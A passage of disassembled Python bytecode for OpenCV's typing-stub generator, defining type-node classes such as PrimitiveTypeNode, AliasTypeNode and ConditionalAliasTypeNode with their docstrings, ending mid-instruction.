OptionalTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object DictTypeNode at 0x7fab42aa91e0, file "f.py", line 821> LOAD_CONST 'DictTypeNode' MAKE_FUNCTION LOAD_CONST 'DictTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME DictTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object CallableTypeNode at 0x7fab42aa98a0, file "f.py", line 848> LOAD_CONST 'CallableTypeNode' MAKE_FUNCTION LOAD_CONST 'CallableTypeNode' LOAD_NAME AggregatedTypeNode CALL_FUNCTION STORE_NAME CallableTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ClassTypeNode at 0x7fab42aa9b70, file "f.py", line 913> LOAD_CONST 'ClassTypeNode' MAKE_FUNCTION LOAD_CONST 'ClassTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME ClassTypeNode LOAD_NAME Optional LOAD_NAME ASTNode BINARY_SUBSCR LOAD_NAME str LOAD_NAME Optional LOAD_NAME ASTNode BINARY_SUBSCR LOAD_CONST ('root', 'full_symbol_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _resolve_symbol at 0x7fab42aa9ed0, file "f.py", line 928> LOAD_CONST '_resolve_symbol' MAKE_FUNCTION STORE_NAME _resolve_symbol LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypeResolutionError' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypeNode' STORE_NAME __qualname__ LOAD_CONST "This class and its derivatives used for construction parts of AST that\n otherwise can't be constructed from the information provided by header\n parser, because this information is either not available at that moment of\n time or not available at all:\n - There is no possible way to derive correspondence between C++ type\n and its Python equivalent if it is not exposed from library\n e.g. `cv::Rect`.\n - There is no information about types visibility (see `ASTNodeTypeNode`).\n " STORE_NAME __doc__ LOAD_CONST False STORE_NAME compatible_to_runtime_usage LOAD_NAME str LOAD_CONST None LOAD_CONST ('ctype_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab7006d420, file "f.py", line 34> LOAD_CONST 'TypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab7006d930, file "f.py", line 37> LOAD_CONST 'TypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab7006d8a0, file "f.py", line 47> LOAD_CONST 'TypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab7006d6f0, file "f.py", line 58> LOAD_CONST 'TypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab7006dc90, file "f.py", line 82> LOAD_CONST 'TypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab7006d4b0, file "f.py", line 106> LOAD_CONST 'TypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME str LOAD_NAME str LOAD_CONST ('module_full_export_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab7006d9c0, file "f.py", line 110> LOAD_CONST 'TypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME ASTNode LOAD_CONST None LOAD_CONST ('root', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab7006de40, file "f.py", line 124> LOAD_CONST 'TypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_CONST None RETURN_VALUE LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR ctype_name LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR typename RETURN_VALUE LOAD_CONST () GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST () GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_ATTR full_typename RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NoneTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a None (or `void` in C++) type.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab7006d0c0, file "f.py", line 146> LOAD_CONST 'NoneTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_CONST None RETURN_VALUE LOAD_CONST 'None' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AnyTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing any type (most of the time it means unknown).' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab40ea6d20, file "f.py", line 154> LOAD_CONST 'AnyTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab40ea6c90, file "f.py", line 158> LOAD_CONST 'AnyTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Any' RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PrimitiveTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a primitive built-in types e.g. int, float, str.' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'typename', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab40ea6660, file "f.py", line 166> LOAD_CONST 'PrimitiveTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab40ea6810, file "f.py", line 170> LOAD_CONST 'PrimitiveTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object int_ at 0x7fab40ea6930, file "f.py", line 174> LOAD_CONST 'PrimitiveTypeNode.int_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME int_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object float_ at 0x7fab40ea6030, file "f.py", line 180> LOAD_CONST 'PrimitiveTypeNode.float_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object bool_ at 0x7fab40ea64b0, file "f.py", line 186> LOAD_CONST 'PrimitiveTypeNode.bool_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bool_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object str_ at 0x7fab40ea6e40, file "f.py", line 192> LOAD_CONST 'PrimitiveTypeNode.str_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME str_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST typename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename JUMP_FORWARD to 26 LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR _typename LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'int' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'int' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'float' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'float' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'bool' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'bool' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'string' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'str' CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AliasRefTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias referencing another alias. Example:\n ```python\n Point2i = tuple[int, int]\n Point = Point2i\n ```\n During typing stubs generation procedure above code section might be defined\n as follows\n ```python\n AliasTypeNode.tuple_("Point2i",\n items=(\n PrimitiveTypeNode.int_(),\n PrimitiveTypeNode.int_()\n ))\n AliasTypeNode.ref_("Point", "Point2i")\n ```\n ' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('alias_ctype_name', 'alias_export_name') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab40ea6540, file "f.py", line 217> LOAD_CONST 'AliasRefTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab40ea6a50, file "f.py", line 224> LOAD_CONST 'AliasRefTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab40ea6f60, file "f.py", line 228> LOAD_CONST 'AliasRefTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST alias_ctype_name CALL_METHOD POP_TOP LOAD_FAST alias_export_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST alias_ctype_name LOAD_FAST self STORE_ATTR alias_export_name JUMP_FORWARD to 34 LOAD_FAST alias_export_name LOAD_FAST self STORE_ATTR alias_export_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR alias_export_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AliasTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias to another type.\n Example:\n ```python\n Point2i = tuple[int, int]\n ```\n can be defined as\n ```python\n AliasTypeNode.tuple_("Point2i",\n items=(\n PrimitiveTypeNode.int_(),\n PrimitiveTypeNode.int_()\n ))\n ```\n Under the hood it is implemented as a container of another type node.\n ' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'value', 'export_name', 'doc', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab40ea6390, file "f.py", line 250> LOAD_CONST 'AliasTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab40ea6ed0, file "f.py", line 262> LOAD_CONST 'AliasTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab40ea6db0, file "f.py", line 268> LOAD_CONST 'AliasTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab40ea6270, file "f.py", line 272> LOAD_CONST 'AliasTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab40ea66f0, file "f.py", line 276> LOAD_CONST 'AliasTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab40ea61e0, file "f.py", line 280> LOAD_CONST 'AliasTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab40ea69c0, file "f.py", line 284> LOAD_CONST 'AliasTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object int_ at 0x7fab40ea6300, file "f.py", line 294> LOAD_CONST 'AliasTypeNode.int_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME int_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object float_ at 0x7fab40ea6780, file "f.py", line 303> LOAD_CONST 'AliasTypeNode.float_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_ LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'array_ref_name', 'shape', 'dtype', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object array_ref_ at 0x7fab40ea6420, file "f.py", line 312> LOAD_CONST 'AliasTypeNode.array_ref_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME array_ref_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Tuple LOAD_NAME TypeNode LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'items', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object union_ at 0x7fab40ea6ae0, file "f.py", line 343> LOAD_CONST 'AliasTypeNode.union_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME union_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'item', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object optional_ at 0x7fab54381780, file "f.py", line 353> LOAD_CONST 'AliasTypeNode.optional_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME optional_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'item', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object sequence_ at 0x7fab543816f0, file "f.py", line 363> LOAD_CONST 'AliasTypeNode.sequence_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME sequence_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Tuple LOAD_NAME TypeNode LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'items', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object tuple_ at 0x7fab54381540, file "f.py", line 373> LOAD_CONST 'AliasTypeNode.tuple_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tuple_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'class_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object class_ at 0x7fab54381420, file "f.py", line 383> LOAD_CONST 'AliasTypeNode.class_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME class_ LOAD_NAME classmethod LOAD_NAME NoneTypeNode LOAD_CONST 'void' CALL_FUNCTION LOAD_CONST None LOAD_CONST None BUILD_TUPLE LOAD_NAME str LOAD_NAME Union LOAD_NAME TypeNode LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'arg_types', 'ret_type', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object callable_ at 0x7fab54381c00, file "f.py", line 393> LOAD_CONST 'AliasTypeNode.callable_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME callable_ LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'alias_ctype_name', 'alias_export_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object ref_ at 0x7fab54381db0, file "f.py", line 409> LOAD_CONST 'AliasTypeNode.ref_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ref_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'key_type', 'value_type', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object dict_ at 0x7fab543814b0, file "f.py", line 425> LOAD_CONST 'AliasTypeNode.dict_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME dict_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST value LOAD_FAST self STORE_ATTR value LOAD_FAST export_name LOAD_FAST self STORE_ATTR _export_name LOAD_FAST doc LOAD_FAST self STORE_ATTR doc LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _export_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR ctype_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_ATTR required_usage_imports RETURN_VALUE LOAD_CONST 'import cv2.typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_ATTR is_resolved RETURN_VALUE SETUP_EXCEPT to 18 LOAD_FAST self LOAD_ATTR value LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 74 DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 60 LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve alias "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 74 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_METHOD int_ CALL_METHOD LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_METHOD float_ CALL_METHOD LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST doc LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'NDArray(shape=' LOAD_FAST shape FORMAT_VALUE LOAD_CONST ', dtype=' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ')' BUILD_STRING STORE_FAST doc JUMP_FORWARD to 50 LOAD_FAST doc LOAD_CONST '. NDArray(shape=' LOAD_FAST shape FORMAT_VALUE LOAD_CONST ', dtype=' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ')' BUILD_STRING INPLACE_ADD STORE_FAST doc LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL AliasRefTypeNode LOAD_FAST array_ref_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL UnionTypeNode LOAD_FAST ctype_name LOAD_FAST items CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL OptionalTypeNode LOAD_FAST item CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL SequenceTypeNode LOAD_FAST ctype_name LOAD_FAST item CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL TupleTypeNode LOAD_FAST ctype_name LOAD_FAST items CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL ASTNodeTypeNode LOAD_FAST class_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL CallableTypeNode LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL AliasRefTypeNode LOAD_FAST alias_ctype_name LOAD_FAST alias_export_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL DictTypeNode LOAD_FAST ctype_name LOAD_FAST key_type LOAD_FAST value_type CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ConditionalAliasTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias protected by condition checked in runtime.\n For typing-related conditions, prefer using typing.TYPE_CHECKING. For a full explanation, see:\n https://github.com/opencv/opencv/pull/23927#discussion_r1256326835\n\n Example:\n ```python\n if typing.TYPE_CHECKING\n NumPyArray = numpy.ndarray[typing.Any, numpy.dtype[numpy.generic]]\n else:\n NumPyArray = numpy.ndarray\n ```\n is defined as follows:\n ```python\n\n ConditionalAliasTypeNode(\n "NumPyArray",\n \'typing.TYPE_CHECKING\',\n NDArrayTypeNode("NumPyArray"),\n NDArrayTypeNode("NumPyArray", use_numpy_generics=False),\n condition_required_imports=("import typing",)\n )\n ```\n ' STORE_NAME __doc__ LOAD_CONST (None, ()) LOAD_NAME str LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Sequence LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'condition', 'positive_branch_type', 'negative_branch_type', 'export_name', 'condition_required_imports', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab54381a50, file "f.py", line 464> LOAD_CONST 'ConditionalAliasTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab54381f60, file "f.py", line 482> LOAD_CONST 'ConditionalAliasTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab54381390, file "f.py", line 488> LOAD_CONST 'ConditionalAliasTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab54381930, file "f.py", line 492> LOAD_CONST 'ConditionalAliasTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab54381300, file "f.py", line 498> LOAD_CONST 'ConditionalAliasTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab54381660, file "f.py", line 502> LOAD_CONST 